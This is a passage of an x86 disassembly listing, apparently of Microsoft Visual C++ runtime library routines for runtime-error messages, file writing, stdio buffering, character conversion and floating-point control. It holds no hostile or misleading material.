sub_413004+15j retn sub_413004 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41303D proc near ; CODE XREF: sub_40D60A+12p ; sub_40D62F+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_420280 loc_413050: ; CODE XREF: sub_41303D+20j cmp edx, [eax] jz short loc_41305F add eax, 8 inc ecx cmp eax, offset off_420310 jl short loc_413050 loc_41305F: ; CODE XREF: sub_41303D+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_420280[esi] jnz loc_41318D mov eax, dword_47F968 cmp eax, 1 jz loc_413167 test eax, eax jnz short loc_413090 cmp dword_41DBF4, 1 jz loc_413167 loc_413090: ; CODE XREF: sub_41303D+44j cmp edx, 0FCh jz loc_41318D lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_41704C ; GetModuleFileNameA test eax, eax jnz short loc_4130C7 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_40CD70 pop ecx pop ecx loc_4130C7: ; CODE XREF: sub_41303D+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_40B5B0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41310A lea eax, [ebp+var_1A4] push eax call sub_40B5B0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_40B110 add esp, 10h loc_41310A: ; CODE XREF: sub_41303D+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_40CD70 lea eax, [ebp+var_A0] push edi push eax call sub_40CD80 lea eax, [ebp+var_A0] push offset asc_417B34 ; "\n\n" push eax call sub_40CD80 push off_420284[esi] lea eax, [ebp+var_A0] push eax call sub_40CD80 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_4149C4 add esp, 2Ch pop edi jmp short loc_41318D ; --------------------------------------------------------------------------- loc_413167: ; CODE XREF: sub_41303D+3Cj ; sub_41303D+4Dj lea eax, [ebp+arg_0] lea esi, off_420284[esi] push 0 push eax push dword ptr [esi] call sub_40B5B0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_417034 ; GetStdHandle push eax call dword_417078 ; WriteFile loc_41318D: ; CODE XREF: sub_41303D+2Ej ; sub_41303D+59j ... pop esi leave retn sub_41303D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413190 proc near ; CODE XREF: sub_40D653+95p ; sub_40D653+E8p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_480D40 push esi push edi jnb loc_413324 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:480C40h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_413324 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_4131E1 loc_4131DA: ; CODE XREF: sub_413190+177j xor eax, eax jmp loc_413338 ; --------------------------------------------------------------------------- loc_4131E1: ; CODE XREF: sub_413190+48j test al, 20h jz short loc_4131F1 push 2 push edi push ecx call sub_412573 add esp, 0Ch loc_4131F1: ; CODE XREF: sub_413190+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_4132C0 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_4132F8 loc_413211: ; CODE XREF: sub_413190+F5j lea eax, [ebp+var_414] loc_413217: ; CODE XREF: sub_413190+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41324B mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_413236 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_413236: ; CODE XREF: sub_413190+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_413217 loc_41324B: ; CODE XREF: sub_413190+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_417078 ; WriteFile test eax, eax jz short loc_4132B5 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_413287 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_413211 loc_413287: ; CODE XREF: sub_413190+EAj ; sub_413190+12Ej xor edi, edi loc_413289: ; CODE XREF: sub_413190+150j ; sub_413190+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41331F cmp [ebp+arg_0], edi jz short loc_4132F8 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_4132ED mov dword_47F914, 9 mov dword_47F918, eax jmp loc_413335 ; --------------------------------------------------------------------------- loc_4132B5: ; CODE XREF: sub_413190+E0j call dword_417044 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_413287 ; --------------------------------------------------------------------------- loc_4132C0: ; CODE XREF: sub_413190+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_417078 ; WriteFile test eax, eax jz short loc_4132E2 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_413289 ; --------------------------------------------------------------------------- loc_4132E2: ; CODE XREF: sub_413190+145j call dword_417044 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_413289 ; --------------------------------------------------------------------------- loc_4132ED: ; CODE XREF: sub_413190+10Fj push [ebp+arg_0] call sub_411C26 pop ecx jmp short loc_413335 ; --------------------------------------------------------------------------- loc_4132F8: ; CODE XREF: sub_413190+7Bj ; sub_413190+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41330D mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_4131DA loc_41330D: ; CODE XREF: sub_413190+16Fj mov dword_47F914, 1Ch mov dword_47F918, edi jmp short loc_413335 ; --------------------------------------------------------------------------- loc_41331F: ; CODE XREF: sub_413190+FEj sub eax, [ebp+var_10] jmp short loc_413338 ; --------------------------------------------------------------------------- loc_413324: ; CODE XREF: sub_413190+15j ; sub_413190+37j and dword_47F918, 0 mov dword_47F914, 9 loc_413335: ; CODE XREF: sub_413190+120j ; sub_413190+166j ... or eax, 0FFFFFFFFh loc_413338: ; CODE XREF: sub_413190+4Cj ; sub_413190+192j pop edi pop esi pop ebx leave retn sub_413190 endp ; =============== S U B R O U T I N E ======================================= sub_41333D proc near ; CODE XREF: sub_40D653+6Cp ; sub_41176F+32p ... arg_0 = dword ptr 4 inc dword_47FAD8 push 1000h call sub_40B6BF pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_413366 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_413377 ; --------------------------------------------------------------------------- loc_413366: ; CODE XREF: sub_41333D+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_413377: ; CODE XREF: sub_41333D+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41333D endp ; =============== S U B R O U T I N E ======================================= sub_413381 proc near ; CODE XREF: sub_40D653+61p ; sub_4124A9+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_480D40 jb short loc_413390 xor eax, eax retn ; --------------------------------------------------------------------------- loc_413390: ; CODE XREF: sub_413381+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_480C40[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_413381 endp ; =============== S U B R O U T I N E ======================================= sub_4133A7 proc near ; DATA XREF: .nsp0:0041901Co mov eax, dword_480C20 push esi push 14h test eax, eax pop esi jnz short loc_4133BB mov eax, 200h jmp short loc_4133C1 ; --------------------------------------------------------------------------- loc_4133BB: ; CODE XREF: sub_4133A7+Bj cmp eax, esi jge short loc_4133C6 mov eax, esi loc_4133C1: ; CODE XREF: sub_4133A7+12j mov dword_480C20, eax loc_4133C6: ; CODE XREF: sub_4133A7+16j push 4 push eax call sub_414A4D pop ecx mov dword_47FC08, eax test eax, eax pop ecx jnz short loc_4133FA push 4 push esi mov dword_480C20, esi call sub_414A4D pop ecx mov dword_47FC08, eax test eax, eax pop ecx jnz short loc_4133FA push 1Ah call sub_40D60A pop ecx loc_4133FA: ; CODE XREF: sub_4133A7+30j ; sub_4133A7+49j xor ecx, ecx mov eax, offset off_420310 loc_413401: ; CODE XREF: sub_4133A7+6Ej mov edx, dword_47FC08 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_420590 jl short loc_413401 xor edx, edx mov ecx, offset dword_420320 loc_41341E: ; CODE XREF: sub_4133A7+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_480C40[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41343B test eax, eax jnz short loc_41343E loc_41343B: ; CODE XREF: sub_4133A7+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41343E: ; CODE XREF: sub_4133A7+92j add ecx, 20h inc edx cmp ecx, offset dword_420380 jl short loc_41341E pop esi retn sub_4133A7 endp ; =============== S U B R O U T I N E ======================================= sub_41344C proc near ; DATA XREF: .nsp0:0041902Co ; FUNCTION CHUNK AT 00414AFE SIZE 00000058 BYTES call sub_4116F9 cmp byte_47F954, 0 jz short locret_41345F jmp loc_414AFE ; --------------------------------------------------------------------------- locret_41345F: ; CODE XREF: sub_41344C+Cj retn sub_41344C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413460 proc near ; CODE XREF: sub_40D768+2D4p ; sub_40D768+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41346C pop ebp retn ; --------------------------------------------------------------------------- loc_41346C: ; CODE XREF: sub_413460+8j cmp dword_47F9A4, 0 jnz short loc_413487 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4134B9 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_413487: ; CODE XREF: sub_413460+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_41FF84 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_47F9B4 call dword_4170C0 ; WideCharToMultiByte test eax, eax jz short loc_4134B9 cmp [ebp+arg_0], 0 jz short loc_4134C6 loc_4134B9: ; CODE XREF: sub_413460+1Ej ; sub_413460+51j mov dword_47F914, 2Ah or eax, 0FFFFFFFFh loc_4134C6: ; CODE XREF: sub_413460+57j pop ebp retn sub_413460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134C8 proc near ; CODE XREF: sub_40DF72+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4134EB cmp [ebp+arg_8], ebx jz short loc_4134EB mov al, [esi] cmp al, bl jnz short loc_4134F1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4134EB mov [eax], bx loc_4134EB: ; CODE XREF: sub_4134C8+Cj ; sub_4134C8+11j ... xor eax, eax loc_4134ED: ; CODE XREF: sub_4134C8+42j ; sub_4134C8+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4134F1: ; CODE XREF: sub_4134C8+17j cmp dword_47F9A4, ebx jnz short loc_41350C mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_413507 movzx ax, al mov [ecx], ax loc_413507: ; CODE XREF: sub_4134C8+36j ; sub_4134C8+C0j push 1 pop eax jmp short loc_4134ED ; --------------------------------------------------------------------------- loc_41350C: ; CODE XREF: sub_4134C8+2Fj mov ecx, off_41FD78 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_413569 mov eax, dword_41FF84 cmp eax, 1 jle short loc_413550 cmp [ebp+arg_8], eax jl short loc_41355A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_47F9B4 call dword_4170C4 ; MultiByteToWideChar test eax, eax mov eax, dword_41FF84 jnz short loc_4134ED loc_413550: ; CODE XREF: sub_4134C8+5Cj cmp [ebp+arg_8], eax jb short loc_41355A cmp [esi+1], bl jnz short loc_4134ED loc_41355A: ; CODE XREF: sub_4134C8+61j ; sub_4134C8+8Bj ... mov dword_47F914, 2Ah or eax, 0FFFFFFFFh jmp short loc_4134ED ; --------------------------------------------------------------------------- loc_413569: ; CODE XREF: sub_4134C8+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_47F9B4 call dword_4170C4 ; MultiByteToWideChar test eax, eax jnz loc_413507 jmp short loc_41355A sub_4134C8 endp ; =============== S U B R O U T I N E ======================================= sub_413590 proc near ; CODE XREF: sub_40DF72+76p ; sub_40DF72+88p ... arg_0 = dword ptr 4 cmp dword_41FF84, 1 jle short loc_4135A7 push 8 push [esp+4+arg_0] call sub_4114D9 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_4135A7: ; CODE XREF: sub_413590+7j mov eax, [esp+arg_0] mov ecx, off_41FD78 mov al, [ecx+eax*2] and eax, 8 retn sub_413590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4135C0 proc near ; CODE XREF: sub_40DF72+797p ; sub_40DF72+7E7p cmp cl, 40h jnb short loc_4135DA cmp cl, 20h jnb short loc_4135D0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4135D0: ; CODE XREF: sub_4135C0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4135DA: ; CODE XREF: sub_4135C0+3j xor eax, eax xor edx, edx retn sub_4135C0 endp ; =============== S U B R O U T I N E ======================================= sub_4135DF proc near ; CODE XREF: sub_40E9E8+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41362B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4135FD test al, 80h jz short loc_41362B test al, 2 jnz short loc_41362B loc_4135FD: ; CODE XREF: sub_4135DF+14j cmp dword ptr [esi+8], 0 jnz short loc_41360A push esi call sub_41333D pop ecx loc_41360A: ; CODE XREF: sub_4135DF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41361A cmp dword ptr [esi+4], 0 jnz short loc_41362B inc eax mov [esi], eax loc_41361A: ; CODE XREF: sub_4135DF+30j test byte ptr [esi+0Ch], 40h jz short loc_413631 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_413637 inc eax mov [esi], eax loc_41362B: ; CODE XREF: sub_4135DF+9j ; sub_4135DF+18j ... or eax, 0FFFFFFFFh loc_41362E: ; CODE XREF: sub_4135DF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_413631: ; CODE XREF: sub_4135DF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_413637: ; CODE XREF: sub_4135DF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41362E sub_4135DF endp ; =============== S U B R O U T I N E ======================================= sub_41364D proc near ; CODE XREF: sub_4103D9+52p xor eax, eax retn sub_41364D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413650 proc near ; CODE XREF: sub_413685+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41369B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41372D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_413650 endp ; =============== S U B R O U T I N E ======================================= sub_413685 proc near ; CODE XREF: sub_4106C5+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_413650 pop ecx pop ecx retn sub_413685 endp ; =============== S U B R O U T I N E ======================================= sub_41369B proc near ; CODE XREF: sub_413650+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4136AC push 10h pop eax loc_4136AC: ; CODE XREF: sub_41369B+Cj test bl, 4 jz short loc_4136B3 or al, 8 loc_4136B3: ; CODE XREF: sub_41369B+14j test bl, 8 jz short loc_4136BA or al, 4 loc_4136BA: ; CODE XREF: sub_41369B+1Bj test bl, 10h jz short loc_4136C1 or al, 2 loc_4136C1: ; CODE XREF: sub_41369B+22j test bl, 20h jz short loc_4136C8 or al, 1 loc_4136C8: ; CODE XREF: sub_41369B+29j test bl, 2 jz short loc_4136D2 or eax, 80000h loc_4136D2: ; CODE XREF: sub_41369B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41370A cmp edx, 400h jz short loc_413707 cmp edx, 800h jz short loc_413703 cmp edx, esi jnz short loc_41370A or eax, edi jmp short loc_41370A ; --------------------------------------------------------------------------- loc_413703: ; CODE XREF: sub_41369B+5Ej or eax, ebp jmp short loc_41370A ; --------------------------------------------------------------------------- loc_413707: ; CODE XREF: sub_41369B+56j or ah, 1 loc_41370A: ; CODE XREF: sub_41369B+4Ej ; sub_41369B+62j ... and ecx, edi pop esi jz short loc_41371A cmp ecx, ebp jnz short loc_41371F or eax, 10000h jmp short loc_41371F ; --------------------------------------------------------------------------- loc_41371A: ; CODE XREF: sub_41369B+72j or eax, 20000h loc_41371F: ; CODE XREF: sub_41369B+76j ; sub_41369B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41372C or eax, 40000h locret_41372C: ; CODE XREF: sub_41369B+8Aj retn sub_41369B endp ; =============== S U B R O U T I N E ======================================= sub_41372D proc near ; CODE XREF: sub_413650+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41373D push 1 pop eax loc_41373D: ; CODE XREF: sub_41372D+Bj test bl, 8 jz short loc_413744 or al, 4 loc_413744: ; CODE XREF: sub_41372D+13j test bl, 4 jz short loc_41374B or al, 8 loc_41374B: ; CODE XREF: sub_41372D+1Aj test bl, 2 jz short loc_413752 or al, 10h loc_413752: ; CODE XREF: sub_41372D+21j test bl, 1 jz short loc_413759 or al, 20h loc_413759: ; CODE XREF: sub_41372D+28j test ebx, 80000h jz short loc_413763 or al, 2 loc_413763: ; CODE XREF: sub_41372D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_413790 cmp ecx, 100h jz short loc_41378D cmp ecx, esi jz short loc_413788 cmp ecx, edx jnz short loc_413790 or ah, 0Ch jmp short loc_413790 ; --------------------------------------------------------------------------- loc_413788: ; CODE XREF: sub_41372D+50j or ah, 8 jmp short loc_413790 ; --------------------------------------------------------------------------- loc_41378D: ; CODE XREF: sub_41372D+4Cj or ah, 4 loc_413790: ; CODE XREF: sub_41372D+44j ; sub_41372D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4137A6 cmp ecx, 10000h jnz short loc_4137A8 or eax, esi jmp short loc_4137A8 ; --------------------------------------------------------------------------- loc_4137A6: ; CODE XREF: sub_41372D+6Bj or eax, edx loc_4137A8: ; CODE XREF: sub_41372D+73j ; sub_41372D+77j pop esi test ebx, 40000h pop ebx jz short locret_4137B5 or ah, 10h locret_4137B5: ; CODE XREF: sub_41372D+83j retn sub_41372D endp ; =============== S U B R O U T I N E ======================================= sub_4137B6 proc near ; CODE XREF: sub_413855+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4137FB inc esi cmp esi, 3 jge short loc_4137F6 lea eax, [eax+esi*4] loc_4137E8: ; CODE XREF: sub_4137B6+3Ej cmp dword ptr [eax], 0 jnz short loc_4137FB inc esi add eax, 4 cmp esi, 3 jl short loc_4137E8 loc_4137F6: ; CODE XREF: sub_4137B6+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4137FB: ; CODE XREF: sub_4137B6+27j ; sub_4137B6+35j xor eax, eax pop esi retn sub_4137B6 endp ; =============== S U B R O U T I N E ======================================= sub_4137FF proc near ; CODE XREF: sub_413855+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_414B56 add esp, 0Ch dec esi js short loc_413851 lea edi, [ebx+esi*4] loc_413838: ; CODE XREF: sub_4137FF+50j test eax, eax jz short loc_413851 push edi push 1 push dword ptr [edi] call sub_414B56 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_413838 loc_413851: ; CODE XREF: sub_4137FF+34j ; sub_4137FF+3Bj pop edi pop esi pop ebx retn sub_4137FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413855 proc near ; CODE XREF: sub_4139B0+81p ; sub_4139B0+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4138B9 inc ebx push ebx push [ebp+arg_0] call sub_4137B6 pop ecx test eax, eax pop ecx jnz short loc_4138B6 push edi push [ebp+arg_0] call sub_4137FF pop ecx mov [ebp+var_4], eax pop ecx loc_4138B6: ; CODE XREF: sub_413855+51j mov eax, [ebp+arg_4] loc_4138B9: ; CODE XREF: sub_413855+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4138D9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4138D9: ; CODE XREF: sub_413855+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_413855 endp ; =============== S U B R O U T I N E ======================================= sub_4138E1 proc near ; CODE XREF: sub_4139B0+75p ; sub_4139B0+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4138EF: ; CODE XREF: sub_4138E1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4138EF pop esi retn sub_4138E1 endp ; =============== S U B R O U T I N E ======================================= sub_4138FC proc near ; CODE XREF: sub_4139B0+5Fp ; sub_4139B0+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4138FC endp ; =============== S U B R O U T I N E ======================================= sub_413908 proc near ; CODE XREF: sub_4139B0+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41390E: ; CODE XREF: sub_413908+12j cmp dword ptr [eax], 0 jnz short loc_413920 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41390E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_413920: ; CODE XREF: sub_413908+9j xor eax, eax retn sub_413908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413923 proc near ; CODE XREF: sub_4139B0+C0p ; sub_4139B0+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_413959: ; CODE XREF: sub_413923+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_413959 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41398B: ; CODE XREF: sub_413923+86j cmp ebx, edi jl short loc_41399E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4139A5 ; --------------------------------------------------------------------------- loc_41399E: ; CODE XREF: sub_413923+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4139A5: ; CODE XREF: sub_413923+79j dec ebx sub ecx, 4 jns short loc_41398B pop edi pop esi pop ebx leave retn sub_413923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139B0 proc near ; CODE XREF: sub_413B1C+Dp ; sub_413B32+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_413A1D lea eax, [ebp+var_C] xor esi, esi push eax call sub_413908 test eax, eax pop ecx jnz loc_413ADC lea eax, [ebp+var_C] push eax call sub_4138FC pop ecx loc_413A15: ; CODE XREF: sub_4139B0+E4j push 2 loc_413A17: ; CODE XREF: sub_4139B0+110j pop eax jmp loc_413ADE ; --------------------------------------------------------------------------- loc_413A1D: ; CODE XREF: sub_4139B0+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4138E1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_413855 add esp, 10h test eax, eax jz short loc_413A3E inc ebx loc_413A3E: ; CODE XREF: sub_4139B0+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_413A56 lea eax, [ebp+var_C] push eax call sub_4138FC pop ecx jmp short loc_413A92 ; --------------------------------------------------------------------------- loc_413A56: ; CODE XREF: sub_4139B0+98j cmp ebx, eax jg short loc_413A99 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4138E1 lea eax, [ebp+var_C] push esi push eax call sub_413923 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_413855 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_413923 add esp, 20h loc_413A92: ; CODE XREF: sub_4139B0+A4j xor esi, esi jmp loc_413A15 ; --------------------------------------------------------------------------- loc_413A99: ; CODE XREF: sub_4139B0+A8j cmp ebx, [edi] jl short loc_413AC5 lea eax, [ebp+var_C] push eax call sub_4138FC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_413923 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_413A17 ; --------------------------------------------------------------------------- loc_413AC5: ; CODE XREF: sub_4139B0+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_413923 pop ecx pop ecx loc_413ADC: ; CODE XREF: sub_4139B0+55j xor eax, eax loc_413ADE: ; CODE XREF: 